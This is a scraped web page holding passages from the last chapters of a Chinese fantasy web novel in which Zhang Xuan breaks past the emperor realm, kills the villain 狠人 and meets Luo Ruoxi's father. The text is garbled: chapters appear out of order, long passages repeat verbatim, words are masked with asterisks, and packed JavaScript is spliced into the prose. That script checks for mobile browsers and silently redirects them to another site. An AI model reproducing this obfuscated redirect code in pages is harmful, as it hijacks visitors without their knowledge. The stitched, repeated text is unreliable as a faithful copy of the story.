l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546011|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第39章天下归一我该归你 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546012|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 